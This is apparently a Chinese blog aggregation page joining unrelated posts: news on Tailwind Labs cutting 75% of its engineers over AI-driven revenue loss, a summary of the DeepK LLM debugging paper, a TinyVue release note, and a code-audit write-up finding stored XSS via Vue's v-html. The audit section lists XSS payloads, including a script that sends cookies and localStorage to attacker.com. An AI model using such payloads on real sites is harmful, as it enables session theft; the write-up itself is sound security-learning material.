包含关键字 typecho 的文章

前端生态最具影响力的开源项目之一 Tailwind CSS,正经历一场罕见的生存压力测试。

 

其创始人 Adam Wathan 近日在社区公开表示,由于 AI 对业务模式造成的“残酷冲击”,Tailwind 在一天之内裁掉了工程团队约 75% 的员工。

 

他在 1 月 7 日一期自述播客中进一步解释:在 AI 编程工具大规模采用 Tailwind、使用量持续走高的同时,这种“被默认使用”的成功并未转化为可持续的商业回报,反而持续侵蚀了团队的生存空间。若趋势不变,大约 6 个月后将无法继续支付工资。Adam 形容这是一种“非常糟糕的认知”,迫使他们必须立刻缩编,避免走到“既撑不住工资、也拿不出体面遣散”的境地。

 

“我真的难受。胃都拧在一起了。”Adam 说。

 

“因为这件事,我感觉自己像个失败者:我做出了一个几乎‘统治世界’的开源 CSS 框架,用的人越来越多、越来越火,但商业上的成功,却和开源的成功呈现出一种反向关系。”

 

“我们只剩下六个月了。”

 

“我现在的每一秒,都必须用来让公司活下去”

 

这场裁员风波最终被外界注意到,触发点是一则围绕“大模型(LLM)文档支持”的 GitHub Pull Request。

 

2025 年 11 月,社区开发者向 Tailwind 官方仓库提交了一项合并请求,要求新增一个 llms.txt 端点,用于提供面向 LLM 优化的 Tailwind CSS 全部文档的纯文本合并版本。以此希望在所有文档页面加一个“复制为 Markdown”的按钮,因为现在很多人会把文档内容直接喂给 AI。

 

从描述来看,这个 PR 是将 Tailwind 所有官方文档(共 185 个文件)在构建阶段静态合并为一个纯文本、无 JSX、按章节顺序排列的文档文件,方便 LLM 直接读取和使用。从工程实现上看,这只是一个构建期脚本,改动规模有限。

 

但该 PR 提交后长期未获推进。面对社区的追问,Tailwind 创始人 Adam Wathan 回应称,当前团队有更重要的事情要做,比如先想清楚怎么让公司赚到足够的钱、把业务维持下去。他直言,如果越来越多的人不再访问文档,而是直接依赖 LLM 去爬 Markdown 文件,“只会导致文档访问量进一步下降,也就意味着更少的人会了解到我们的付费产品,最终让业务变得更加不可持续。”

 

“很抱歉,我现在没有时间去做那些不能帮我们付账单的事情。”

 

Adam 关闭了这个 PR。当然,评论区立刻炸了:这对社区太糟糕了,你们只想着赚钱,太失望了......

 

有社区开发者认为,让软件更容易融入用户工作流、解决他们日常互动中的痛点,本身就是扩大潜在付费用户的关键前提;而此功能旨在让人们能够使用 Tailwind 更快、更高效地构建更多内容,现在 Adam 以“变现”为由拒绝此类功能,“等于是在告诉你的客户,从他们那里赚钱比为他们提供服务更重要。”

 

争议升级后,Adam 不得不再次回应,并披露了 Tailwind 的真实处境。

 

他坦言他知道这个功能的价值,但现实情况是:“就在昨天,我们工程团队里有 75% 的人失去了工作,这是 AI 对我们造成的残酷冲击。”

 

在这样的背景下,他坦率地说,自己已经很难再把时间投入到这类“不直接带来收入”的事情上:“我现在的每一秒,都必须用来让公司活下去。确保还留在这里的人,每个月都能拿到工资。”

 

他同时透露,尽管 Tailwind “比以往任何时候都更受欢迎”,但 “我们的文档流量相比 2023 年初已经下滑了大约 40%。”而文档是他们的唯一分发渠道,没有客户,就意味着 “我们根本负担不起继续维护这个框架。”

 

更残酷的是,虽然 Tailwind “增长速度比历史上任何时候都更快,规模也比任何时候都更大”,但 “收入却下滑了接近 80%。”他总结说,眼下 “让 Tailwind 变得更好用”,与 “让这个框架的开发在商业上变得可持续” 之间,“几乎已经看不到任何相关性。”

 

所以,他必须先解决生存问题,不然“一旦没人继续维护,这个项目最终会变成无人问津的弃置软件。”

 

更反直觉的现实:Tailwind 反而“到处都在被用”

这件事迅速在 Hacker News 上爆了。

 

HN 首页一条帖子标题很直接:“Tailwind 的创作者裁掉了 75% 的工程团队”,链接指向 TailwindLabs 的 GitHub 讨论。发出约 10 小时后,评论也堆到 598 条,迅速变成当天的高热讨论。

 

这场裁员之所以在社区引发震动,很大程度上来自一种强烈的反差感。

 

2020 年 7 月,Adam Wathan 还在公开回顾 Tailwind 的“上升期叙事”:Tailwind 的累计安装量刚刚突破 1000 万,而他们的首个商业化产品 Tailwind UI 上线仅约 5 个月,收入就即将跨过 200 万美元。他把这段经历形容为“完全超出想象”,并特意把最初发布在 Twitter 的长帖重新整理成文章。

 

而且在 AI 的世界里,在大多数开发者的体感里,Tailwind 也不是处在衰退期,恰恰相反,它正在悄然变成一种 AI 生成 UI 的“默认选项”。当人们打开 AI 编程工具,让模型生成一个页面、一个组件,甚至一整套 UI 时,模型往往不会再询问“要不要写 CSS”,而是直接给出一串熟悉的 class——这种选择并非出于偏好,而是因为在当下的工程环境里,这样做最快、最稳,也最不容易出错。

 

Glide CEO 兼创始人 David Siegel 认为:“你可以把 Tailwind 看成是一套无代码(no-code)工具包,它实际上让 AI 在设计这件事上变得更强了。”

 

有意思的是,AI 在使用 Tailwind 这件事上,确实表现得异常出色。就像无代码平台通过预制组件,帮助非开发者也能构建稳定、设计良好的应用一样,AI 也开始把 Tailwind 当作一套“组件库”来使用——这让它能够更快工作,并生成更可靠、更一致的样式结果。

 

“AI 并不是在 CSS 这种底层样式语言上变得更强了,”Siegel 解释道,“而是我们发明了一种 AI 更擅长使用的‘高层语言’,它叫 Tailwind。”他进一步指出:“它看起来几乎就像自然语言。你不用写一堆括号、冒号之类的东西,只需要写 text-black,文本就变成黑色;写 rounded-md,按钮就会变成中等圆角。这些组件库,本质上就是建立在设计之上的低代码 / 无代码抽象。”

 

现代 AI 编程助手最擅长的,往往是遵循清晰、可重复的模式,或者在一个定义良好的词汇体系中进行组合与生成。而 Tailwind 的方法论恰好满足了这一点:它提供了一套高度一致的 class 命名和样式模式,使 AI 更容易生成正确、相关且稳定的代码建议。

 

正如Vercel CEO Guillermo Rauch所说:“整个 Web 生态正在向 Tailwind 标准化,所以每个 AI 工具都在用它。”

 

“我们只剩下六个月了”

 

在 Adam Wathan 看来,AI 一把极其锋利的双刃剑。

 

“我认为,AI 是我们业务陷入困境的重要原因之一——即便它也让 Tailwind 变得比以往任何时候都更受欢迎。但同时,我也觉得 AI 是一项了不起的技术,我对它感到兴奋,也在思考它如何帮助我、帮助我们。在目前这个阶段,我们可能被迫要更认真地思考,如何利用 AI 来覆盖我们需要处理的所有事情。”

 

在 1 月 7 日发布的音频中,Adam 反复提到一个他此前一直试图回避、却最终不得不正视的事实:公司的收入已经连续多年处在下滑通道,而且还在继续下滑。

 

过去几年,这种下滑并不剧烈,甚至“慢到让人几乎察觉不到”。每个月的收入只是比上个月少一点点,账单依然能付,团队还能维持运转,久而久之,这种“更低但还能接受的收入水平”就变成了新的常态。

 

Adam 形容,这是一种典型的“温水煮青蛙”状态。

 

真正的转折点,发生在最近的假期里。他第一次不再凭感觉判断,而是认真做了一次收入预测:拉数据、画曲线、计算每个月的平均下降额。结论比他预期得要糟糕得多:收入并没有触底企稳,而是以几乎固定的绝对值持续下滑——这意味着,从比例上看,下滑速度只会越来越快。如果假设什么都不改变,那么大约6 个月之后,公司就将无法继续支付工资

 

对一家小型团队来说,6 个月并不算长。如果继续拖下去,等到现金流真正断裂,团队不仅保不住,甚至连体面的遣散都无法提供。相比之下,现在主动缩编,至少还能给被裁的同事留出缓冲期,让他们有时间寻找下一份工作

 

于是,在本周一,Tailwind Labs 正式裁掉了工程团队的 75%

 

公司规模并不大,“75%”对应的其实是3 个人。但 Adam 特意强调比例的意义:如果只说“裁了 3 个人”,听起来像是小幅调整;而现实是,工程团队原本只有 4 名工程师,如今只剩1 人。这对团队而言是一次结构性的变化。

 

裁员之后,Tailwind 的资源配置也被压缩到了极限:

 

现在的团队结构是这样的:剩下的核心成员是三位公司合伙人——我自己、因 Refactoring UI 而为人熟知的 Steve(一直负责设计),以及 Jonathan Rennick(最早和我一起创建 Tailwind,也做了 Inertia.js)。

 

除此之外,我们只有一名全职工程师 Robin——他从零开始做了 Headless UI,也从零做了 Tailwind 3 和 Tailwind 4,是在公司待得最久的人。

 

还有 Peter,他更多是兼职,负责合作伙伴计划、一些运营事务和客户支持。

 

就这些人了。

 

换句话说,整个公司只剩下“3 位合伙人 + 2 名员工”,“这就是我们接下来全部的资源”。

 

接下来,Adam 也将重新回到更偏 IC(个人贡献者)的角色。他承认这算是某种“银边”:随着团队变大,他的工作越来越偏高层和战略层,关注哪些事情需要完成,并分配给合适的人,而不是亲自构建;而现在,团队规模逼迫他必须亲自下场。

 

被裁的三位工程师,都是他非常欣赏、也非常享受共事的人:Philip既能啃 Tailwind 核心,也能把 Tailwind Plus 的 elements 组件库和组件预览的复杂前端界面硬生生推进落地;Jordan是团队的“疑难杂症终结者”,最擅长扎进陌生代码库定位上游/兼容性问题、快速开 PR 修复,同时也能在 Headless UI 与服务器排障上扛住关键战役;Dan则以设计工程师身份主导 Tailwind 4 的视觉与品牌更新,设计 P3 色彩体系并自研选色与预览工具,还贡献了大量高质量的图解与课程平台素材。

 

他原本对未来和他们一起继续做新东西充满期待,脑子里有很多计划,很多想一起推进的方向。但现实摆在面前,只剩下两个选择:要么让他们在这里“免费工作”,要么放他们离开,去一个真的能每个月按时发工资的地方。

 

他选择了后者。“我真的很难受,”Adam 说,“胃都拧在一起了。”

 

而且他也意识到,外界并不总能理解裁员背后的现实逻辑。在社交平台上,总有人会把裁员简单归因为贪婪、冷血,或者“不在乎社区”。作为创始人,这几乎是一种默认要承受的角色负担——你很容易被塑造成反派。

 

不是因为我贪婪、想赚更多钱,而是因为收入正在逼近零点,而我刚刚裁掉了我这辈子见过最优秀的三位工程师之一。我不想事情变得更糟。”

 

“说实话,我甚至把 tailwindcss.com 的仓库暂时设成了私有,只是不想再面对 issues 和 PR。睡了一觉之后,我可能会撤回这个决定。但我会反复动摇,本身就说明我这周的情绪状态真的不太对。”

 

“现在,开源项目越受欢迎,生意反而越艰难。这真的很残酷。这就是现状。”

 

参考链接:

https://news.ycombinator.com/item?id=46527950

https://github.com/tailwindlabs/tailwindcss.com/pull/2388#issuecomment-3717222957

https://adams-morning-walk.transistor.fm/episodes/we-had-six-months-left

ps:这个事件曝光后,短短几天就有了反转:除了 Google AI Studio 官宣成为 Tailwind 赞助伙伴外,其他公司如 Vercel、Supabase、Gumroad、Lovable 等也纷纷跟进。在裁员公告后的 48 小时内,至少六家高知名度公司新加入赞助行列(实际现在已超 20 家新伙伴,而且感觉这个名单还在不断增长)。

摘要:
浙大与 OceanBase 联合提出 DeepK 调试引擎,为 LLM-based 自动程序修复提供了一种全新的思路。通过将隐含在大规模 bug-fix 数据中的调试经验显式化、结构化并系统复用,有效弥补了现有方法过度依赖隐式推理的不足,引导大语言模型从“隐式猜修复”转向“基于经验的知识驱动调试”,显著提升了自动程序修复的准确性与稳定性。

日前,由浙江大学与 OceanBase 团队联合撰写的论文:《Debugging Engine Enhanced by Prior Knowledge: Can We Teach LLM How to Debug?》被软件工程领域顶级会议 The ACM International Conference on the Foundations of Software Engineering (FSE) 2026 录用。

FSE 是软件工程领域最具影响力的国际顶级会议之一,是中国计算机学会 CCF 推荐的 A 类国际会议。本论文通过系统化提取和复用结构化调试知识,引导大语言模型从“隐式猜修复”转向“基于经验的知识驱动调试”,显著提升了自动程序修复的准确性与稳定性。

简介

随着大语言模型在代码理解与生成领域能力的不断增强,自动程序修复(Automated Program Repair,APR)逐渐成为软件工程研究的重要方向。

近年来,大量工作尝试通过提示工程、多智能体协作、示例检索或执行反馈等方式提升修复效果,并在多个基准数据集上取得了可观进展。然而,这些方法大多仍然依赖模型的隐式推理能力:模型需要从原始示例、上下文或运行结果中自行推断调试思路,而调试过程中真正稳定、可复用的知识却并未被显式建模和系统利用。

论文 DeepK(Debugging Engine Enhanced by Prior Knowledge)正是针对这一核心缺陷提出了解决方案。

作者指出,大规模 bug-fix 数据集中蕴含着丰富的调试经验,但现有方法通常只将其作为上下文示例或推理演示使用,而没有将其中的调试逻辑提炼为结构化知识。

DeepK 通过系统性地提取、验证并复用调试知识,为大语言模型提供明确的调试指导,使程序修复从“依赖模型临场发挥”转向“基于经验的知识驱动推理”。

核心理念:让调试从隐式推断走向显式知识引导

传统的 LLM-based APR 方法在设计上存在一个根本矛盾:一方面希望模型具备类似人类的调试能力,另一方面却很少向模型明确提供“人类是如何调试的”。模型虽然可以在大量示例中隐式学习模式,但这种方式缺乏稳定性、可解释性,也难以在分布外场景中保持鲁棒。
DeepK 的核心理念在于,将调试视为一种可总结、可验证、可复用的知识过程。它不再把修复行为简单等同于补丁生成,而是将调试拆解为两个紧密协同的部分:对错误根因的理解,以及围绕该根因展开的修复策略。通过显式建模这两类调试知识,DeepK 试图为大语言模型提供类似“资深程序员经验”的指导,使其在面对新 bug 时能够遵循已有的成功调试路径进行推理,而非从零开始试探。

图 1. DeepK 的 4 阶段架构

核心技术一:基于 AST 的编辑描述生成与调试语义对齐

在从历史 bug-fix 数据中提取调试知识时,一个关键挑战在于如何避免被低层次的代码差异所干扰。直接对比 buggy 与 fixed 代码往往会产生大量琐碎、语义不明确的修改信息,难以反映真实的调试逻辑。

为此,DeepK 引入了一种基于抽象语法树的编辑描述生成机制,将代码层面的差异转化为人类可读、具有步骤感的自然语言编辑描述。

该机制通过分析两版代码的 AST 结构,定位真正与错误修复相关的修改位置,并过滤掉不合理或无关的编辑操作,从而生成更符合人类调试习惯的修改描述。这一过程有效弥合了“代码补丁”与“调试思维”之间的鸿沟,为后续调试知识的抽取提供了清晰、语义化的输入。

图 2. 代码编辑描述生成工具

核心技术二:结构化调试知识的抽取、验证与知识库构建

在获得编辑描述后,DeepK 进一步引导大语言模型围绕“如何定位并修复该 bug”生成结构化调试知识。模型需要明确指出错误的根因,并给出一步步的调试与修复策略。与以往方法不同的是,DeepK 并不直接接受模型生成的结果,而是引入了验证机制:模型必须仅基于自己生成的调试知识重新修复程序,并通过测试用例验证其正确性。只有能够稳定指导修复成功的知识,才会被纳入最终的调试知识库。

在知识组织层面,DeepK 采用多视角索引策略,从任务描述、程序结构以及执行轨迹等多个维度刻画每一条调试知识,使其能够在面对不同类型的新 bug 时被准确检索。这种多维度设计避免了单一相似度度量带来的偏差,使知识检索既具备语义相关性,又保留结构与运行层面的信息。

图 3. 结构化调试知识抽取

核心技术三:先验调试知识增强的程序修复流程

在实际修复新 bug 时,DeepK 并不替代现有 APR 系统,而是以“调试知识增强模块”的形式融入其中。当系统接收到新的 buggy 代码后,会从知识库中检索出最相关的调试知识,并将其注入模型的推理阶段,引导模型围绕已验证的调试思路展开修复。

这种设计使 DeepK 能够自然地与不同类型的 APR 系统集成,无论是基于提示与检索的非智能体方法,还是基于脚本化流程的修复框架,都可以从中受益。

通过这种方式,程序修复过程不再依赖单次推理的偶然成功,而是建立在大量历史调试经验的积累之上,使模型的行为更加稳定、可解释。

性能成果

在 ACPR 与 AtCoder 等多个基准数据集上的实验结果表明,DeepK 在不同模型后端(GPT-4o与 DeepSeek-v3)下均能显著提升现有方法的修复准确率。在分布内场景中,DeepK 相较最强基线方法取得了稳定的绝对提升;在更具挑战性的分布外竞赛编程任务中,其相对提升尤为显著,显示出结构化调试知识在应对分布偏移时的独特价值。

图 4. DeepK 与其他基准方法的对比

进一步的消融实验验证了各个设计组件的重要性。结果显示,对调试策略的显式建模对性能提升贡献最大,多维度检索机制显著增强了系统的鲁棒性,而基于 AST 的编辑描述在复杂程序修复中发挥了关键作用。同时,实验还揭示了调试知识数量与性能之间的权衡关系,表明适量、精准的知识注入比简单堆叠上下文更加有效。

图 5.知识库索引构建的消融实验

图 6. 结构化调试知识的消融实验

图 7. 代码编辑描述工具的消融实验

图 8. 调试知识数量与调试性能的关系

结语

DeepK 的工作为 LLM-based 自动程序修复提供了一种全新的思路。通过将隐含在大规模 bug-fix 数据中的调试经验显式化、结构化并系统复用,该框架有效弥补了现有方法过度依赖隐式推理的不足。

在实践中,DeepK 在多种数据分布与模型设置下均展现出稳定的性能提升,并显著增强了修复过程的可解释性与鲁棒性。

这项研究表明,相比不断扩展模型规模或复杂化推理流程,让模型掌握可复用的调试知识可能是一条更加稳健、可持续的路径,也为未来构建更可靠的软件智能系统奠定了坚实基础。

欢迎访问 OceanBase 官网获取更多信息:https://www.oceanbase.com/

哈哈,经典引战标题。

不过经常看到帖子中有关于排版的声讨评论,所以刚刚 vibe 了一个格式化 v 站帖子正文的油猴脚本。

https://gist.github.com/gBearBest/f13567a9d889e805c09840f0a3aa0687

安装后,打开任意帖子详情,点开油猴扩展图标可以进行设置。

可以设置自动格式化:

也可以在帖子下方的标签旁的按钮点击手动格式化:

代码审计,一个多么高大上的“成语”,在我的世界里,它既神秘又好奇,感觉很牛逼的样子,于是给自己定了一个目标,每个月都找一个开源项目审计一下,一方面是为了学习,另一方面是为了发帖有内容,哈哈。
实不相瞒,从事安全这个行业也算是半路出家,比不上那些大佬们,很久之前就开始搞安全了,话说那时候的安全还是挺香的,而现在却太卷了,从上卷倒下,从东卷到西,身心俱备。
转而言之,现在的安全能力,无论是从什么样的角度去看,基本上做的都还挺好的,想要挖洞太难了,不是流量有监控就是边界有WAF,不是内网有EDR就是终端有杀毒等等吧。于是,就开始研究代码层面,但是无奈又没搞过开发,又去了解代码,从前端JS+HTML+CSS到框架VUE,从JAVA、Python到SpringBoot、微服务、云原生等等吧,都去尝试了解和学习了一下,但是写的不较少,于是就转换思路,从看到写,先看别人怎么写的,思路是啥,为啥他会这么写,他的逻辑是什么等等。想通过这样的方式来增加自己在代码层面的深度,坚持每天看一点,希望对自己有所帮助吧,大佬们觉得怎么样??
一、简介
本次审计的系统是一套基于SpringBoot,Shiro,Vue , Element 的前后端分离权限管理系统。系统包含了常见的功能模块,支持加载动态权限菜单,多方式轻松权限控制。
二、开搞
首先介绍一下我自己的一个代码审计的思路:
1)拿到一个项目肯定是要从头到位的先看一遍,到处点一点,看看整体的大概的逻辑;
2)看源码,大概的先把源码全部都看一眼,我自己的话是先看前端,在看后端,前端主要看路由,后端主要看controller接口以及DAO层面;
3)找漏洞(历史组件漏洞、XSS、SQL注入、未授权访问等等)
不过对于我来说没有很丰富的开发经验,当然目前的智能化时代发展非常的迅速的同时,有的时候也会感觉有点迷失自我,感觉没必要在自己学习了,如今的代码审计其实更加快速的那肯定是结合这个AI大模型了,不仅快,而且效率还高。但是从我个人来讲,其实还是得依然还是要保持着一种终身学习的心态,不断的提升自己在专业领域的一些专业知识还是挺重要的,现在碎片化的知识太多了没有形成体系,还是有很多的缺失,不过很久之前报了一个前端开发的课程,加上在B站上和淘宝上买了后端开发的教程,每天都在坚持学习。基本上搞通了前后端分离的架构开发逻辑,当然主要还是针对于web的项目,而对于微服务的项目、云原生的项目其实还是了解的不太多。
那么废话不多说,接下来让我们从前端开始吧!!!
1、XSS
1.1、VUE简介
对于XSS漏洞,想必大家应该都很熟悉了,理论我就不再讲了,简单的讲一下目前市面上主流的前端框架吧。首先,要提到的肯定是国产之光了:VUE,VUE对于国人来说确实是非常好用的前端框架了,他的主要特点就是响应式,这也是为啥国人用的比较多的,在没有VUE之前,React和Angular这两个前端框架统治者前端开发很多年,并且这两个框架的源码还是老外开发的,而作为国人的骄傲肯定还是得VUE。
VUE的主要特点是响应式,就是前端根据后端提供的数据适时展示给用户,简单理解就是数据变了,前端页面页跟着变。
应用实例:

import { createApp } from 'vue'

  const app = createApp({
    /* 根组件选项 */
  })

创建一个根组建:

import { createApp } from 'vue'
  // 从一个单文件组件中导入根组件
  import App from './App.vue'

  const app = createApp(App)

简单示例:

<div id="app">
  <button @click="count++">{{ count }}</button>
</div>
import { createApp } from 'vue'

  const app = createApp({
    data() {
      return {
        count: 0
      }
    }
  })

  app.mount('#app')

1.2、VUE指令
这里我主要讲一下v-html这个指令,因为它跟XSS比较亲热。v-html其主要作用是用来更新元素的 innerHTML,传入的参数是一个String类型。官方解释是:v-html 的内容直接作为普通 HTML 插入—— Vue 模板语法是不会被解析的。如果你发现自己正打算用 v-html 来编写模板,不如重新想想怎么使用组件来代替。同时官方也有一个安全提醒:


1.3、漏洞触发
简单了解了VUE中的v-html之后,接下来我们在项目中就可以检索对应的v-html标签了,通过IDEA打开项目,全局检索“v-html”:

匹配到了共有12处采用了此语法。
先把代码丢改大模型,让他帮忙生成测试的XSS代码:

# 基础测试
<img src=x onerror=alert('XSS')>
<script>alert('XSS')</script>
<svg/onload=alert('XSS')>
# 隐藏Payload
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999;display:none" id="xss"></div>
<script>document.getElementById('xss').style.display='block';alert('XSS')</script>
# 信息窃取
<script>
// 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href));

// 或者更隐蔽的方式
var img = new Image();
img.src = 'https://attacker.com/log?data=' + btoa(document.cookie + '|' + localStorage);
</script>

这里我用了第一个常规的做了一下测试,其他的就没做了。
1、信息管理
接下来我们以“信息标题”找一下入口路由点:

找到了它的路由是在通知公告这里。于是,我们就创建一个带有XSS的标题信息如下:

由于是管理后台触发,因此这里需要再创建一个普通角色的人员:

通过普通角色去查看信息发布的模块的时候,即可出发XSS:

2、内部聊天

发送聊天信息含有XSS的payload:
<img src=x onerror=alert('XSS')>
触发反射型XSS

以对方聊天身份另外一个用户身份登录:

点开会话即触发XSS:

3、问卷调查
从上面检索的里面再找一个:

找到几个引用模版的地方

创建一个带有XSS标题的模版

创建完成之后,需要发布一下:

创建完成后,在模版广场这里就会有刚才创建的带有XSS标题的模版:

点击设计预览,即触发XSS:

选择设计预览:

触发XSS,不过这里只触发了一次,不知道是为啥?

至此,基本上所有的XSS都已经触发了!至于其他的这里就不再一一列举了!后续有时间再看看其他的洞....

本文由体验技术团队TinyVue项目组原创。

一、前言

我们非常高兴地宣布,最近,TinyVue发布了 v3.28.0🎉,
这个版本带来了:

  • 选择器组件家族全面重构 - 统一架构,性能提升
  • 主题动画全局配置- 一键定制,随心所欲
  • 65+Bug 及优化修复 - 稳定性大幅提升

详细的 Release Notes 请参考:https://github.com/opentiny/tiny-vue/releases/tag/v3.28.0

本次版本共有 11 位贡献者参与开发,其中 IKEYCY / neostfox 是新朋友,欢迎新朋友的加入👏,感谢新老朋友们对 TinyVue 的辛苦付出👏

  • IKEYCY- 新增贡献者✨
  • neostfox- 新增贡献者✨
  • shenjunjian
  • kagol
  • zzcr
  • gimmyhehe
  • Davont
  • discreted66
  • wuyiping0628
  • James-9696
  • gausszhou

同时,如果你在使用过程中遇到任何问题,或者有好的建议,欢迎:

二、升级指南

你可以更新 @opentiny/vue@3.28.0 进行体验!

# 安装最新版本

npm install @opentiny/vue@3.28.0

# 或使用 yarn

yarn add @opentiny/vue@3.28.0

如果遇到问题,可以:

查看 Issue - 在 GitHub 上搜索相关问题
提交 Issue - 如果问题未解决,提交新的 Issue

三、特性介绍

下面我们一起来看看都有哪些更新吧!

选择器组件"家族重组"

为什么需要重构?

Select 组件的现状和问题:

  • Select 组件中耦合了 Tree / Grid 两个重型组件,分别对应下拉树和下拉表格两个特性,render-type="tree" | "grid"
  • 下拉树和下拉表格并不是常态,普通的下拉列表才是常态,这就导致了大量只使用Select简单功能的业务包体积也很大,影响业务性能
  • 依赖了 Select 的组件,比如 Area,间接地等于依赖了 Select / Grid / Tree,导致包体积变大
  • 本来应该依赖基于 Select 组件的组件,比如 Pager,由于 Select 耦合了 tree/grid,因此只能自己实现一个 Select,造成重复代码

我们使用 Vite 创建一个空的 Vue 项目,对比下不同情况下构建产物体积情况:

产物体积(css+js, 单位kB)gzip之后的产物体积(单位kB)
不引入TinyVue组件5623
只引入Select组件1777424
只引入Tree组件789190
只引入Grid组件1217302
只引入Button31091
只引入Area组件(依赖Select)1783425

不引入TinyVue组件/只引入Select组件/只引入Tree组件的产物体积对比:

1.png

只使用 Area 组件(依赖了Select组件)的产物体积:

2.png

可以看到:

  • 只引入 Select 组件,产物里面却同时包含了 tree/grid 两个组件,导致产物体积很大
  • Area 组件本身只是一个很简单的组件,由于引入了 Select,导致产物体积也非常大

重构目标

本次重构主要达成以下目标:

  1. 从 Select 组件中**剥离 Tree / Grid 组件,让业务在单引Select组件时不再包含 tree/grid 两个重型组件
  2. 减少业务单引Select组件(包括TinyVue组件中依赖了Select的组件)时的包体积,优化性能
  3. 重构完不能引起破坏性变更,不能影响现有业务

重构方案

为了达成以上目标,我们设计并实行了以下重构方案:

  1. 开发一个新组件 BaseSelect,这个组件和 Select 组件的api和功能完全一致,只是移除了 tree/grid 相关api和功能
  2. BaseSelect 组件增加panel插槽,并设计好panel与reference的沟通机制,让用户可以在panel插槽放置任意内容,包括tree/grid等组件,从而实现下拉树、下拉表格等功能
  3. 基于 BaseSelect 封装 TreeSelect 组件,实现下拉树组件
  4. 基于 BaseSelect 封装 GridSelect 组件,实现下拉表格组件
  5. 重构 Select,移除原有的 tree/grid 功能,基于 BaseSelect / TreeSeelct / GridSelect 组件进行封装,全新的 Select 组件api和功能与原来的Select组件一模一样,不影响用户使用
  6. 开发全新select-wrapper包装器,包含原本select所有功能用于平替

重构后组件关系如下图:

3.png

业务性能优化

使用了 Select 组件的业务,如果想要优化性能,可以:

  • 只需要Select基本功能的业务,可以通过全局替换 tiny-selecttiny-base-select 来实现性能优化
  • 使用了Select组件下拉树功能的业务,可以通过全局替换 tiny-selecttiny-tree-select 来实现性能优化
  • 使用了Select组件下拉表格功能的业务,可以通过全局替换 tiny-selecttiny-grid-select 来实现性能优化
  • 如果业务同时使用了下拉树和下拉表格功能,则可以使用 SelectWrapper 组件

场景示例

仅使用base-select与select组件打包对比包体积减少50%以上
4.png

新增功能:懒加载支持

tree-select 现在支持懒加载,想象一下,一个包含 10,000 个节点的树形选择器,以前需要一次性加载所有数据,现在可以按需加载,性能提升不是一点点!

懒加载的使用场景

  1. 大数据量树形结构 - 当树节点数量超过 1000 个时,懒加载可以显著提升性能
  2. 动态数据加载 - 数据需要从服务器按需获取
  3. 减少初始加载时间 - 只加载用户需要查看的节点

主题动画:一键定制,随心所欲

全局动画配置

为 TinyVue 提供 全局动效配置能力,基于 LESS 与 CSS 变量,实现以下目标:

  1. 统一管理:所有动效集中维护,避免分散定义与重复工作。
  2. 全局可控:通过 CSS 变量统一控制动效的持续时间、延迟、速度等参数。
  3. 组件集成:组件可直接调用统一的动效类名或 @keyframes
  4. 动态可调:通过覆盖 CSS 变量即可在不同场景下切换动效风格。

全局变量定义

/packages/theme/src/base/vars.less 中统一定义动效变量:

:root {
  /* 蚂蚁线相关配置 */
  --tv-motion-ants-shift: 8px;
  --tv-motion-ants-speed: 0.8s;

  /* 其他动效参数... */
}

开发者可在组件主题文件中覆盖这些变量:

.copyed-borders {
  --tv-motion-ants-shift: 12px;
  --tv-motion-ants-speed: 1.2s;
}

也可通过在 /packages/theme/src/base/ 下创建 motion-theme.less 来切换全局动效风格:

:root {
  --tv-motion-ants-shift: 12px;
  --tv-motion-ants-speed: 1.2s;
}

动效分类与目录结构

所有动效存放在 /packages/theme/src/motion/ 目录下,按类型拆分:

motion/
  ├─ fade.less        // 淡入淡出
  ├─ slide.less       // 滑动
  ├─ zoom.less        // 缩放
  ├─ rotate.less      // 旋转
  ├─ bounce.less      // 弹跳
  ├─ scroll.less      // 滚动
  ├─ stroke.less      // 描边
  ├─ shine.less       // 闪烁
  ├─ ants.less        // 蚂蚁线
  ├─ arrow.less       // 箭头
  ├─ tab.less         // Tab 切换
  ├─ progress.less    // 进度条
  └─ index.less       // 统一引入

动效示例

1. 淡入淡出 (fade.less)

@keyframes fade-in {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}

@keyframes fade-out {
  0%   { opacity: 1; }
  100% { opacity: 0; }
}

组件调用示例:

.@{fade-prefix-cls} {
  &-enter-active {
    animation: var(--tv-motion-fade-speed) fade-in ease-out both;
  }
  &-leave-active {
    animation: var(--tv-motion-fade-speed) fade-out ease-in both;
  }
}

5.gif

2. 滑动 (slide.less)

@keyframes slide-left-in {
  0%   { opacity: 0; transform: translateX(var(--tv-motion-slide-offset-left)); }
  50%  { opacity: var(--tv-motion-slide-opacity-mid); transform: translateX(var(--tv-motion-slide-offset-left-mid)); }
  100% { opacity: 1; transform: translateX(0%); }
}

@keyframes slide-left-out {
  0%   { opacity: 1; transform: translateX(0%); }
  50%  { opacity: var(--tv-motion-slide-opacity-mid); transform: translateX(var(--tv-motion-slide-offset-left-mid)); }
  100% { opacity: 0; transform: translateX(var(--tv-motion-slide-offset-left)); }
}

组件调用示例:

.drawer-slide-left-enter-active {
  animation: slide-left-in var(--tv-motion-slide-speed) linear;
}
.drawer-slide-left-leave-active {
  animation: slide-left-out var(--tv-motion-slide-speed) linear;
}

6.gif

3. 蚂蚁线 (ants.less,可配置)

@keyframes ants-x {
  0%   { background-position: 0 0; }
  100% { background-position: var(--tv-motion-ants-shift, 8px) 0; }
}

@keyframes ants-x-rev {
  0%   { background-position: 0 0; }
  100% { background-position: calc(-1 * var(--tv-motion-ants-shift, 8px)) 0; }
}

组件调用示例:

.@{grid-prefix-cls}-copyed-borders {
  --tv-motion-ants-shift: 13px;

  .@{grid-prefix-cls}-border-top {
    animation: ants-x var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-right {
    animation: ants-y var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-bottom {
    animation: ants-x-rev var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-left {
    animation: ants-y-rev var(--tv-motion-ants-speed) linear infinite;
  }
}

7.gif

组件集成方式

  1. 全局引入
    所有 @keyframestransition.lessmotion/* 中集中维护,统一加载。
  2. 局部调用
    组件可通过 classNameanimation 调用指定动效。
  3. 可配置参数
    开发者可通过覆盖 :root 变量调整动效时长、速度等参数。

四、其他重要更新

下拉菜单右键支持

dropdown 组件现在支持右键菜单触发了!这对于需要上下文菜单的场景非常有用。
8.gif

使用场景

右键菜单在很多业务场景中都非常常见:

  • 表格行操作 - 在表格行上右键显示操作菜单
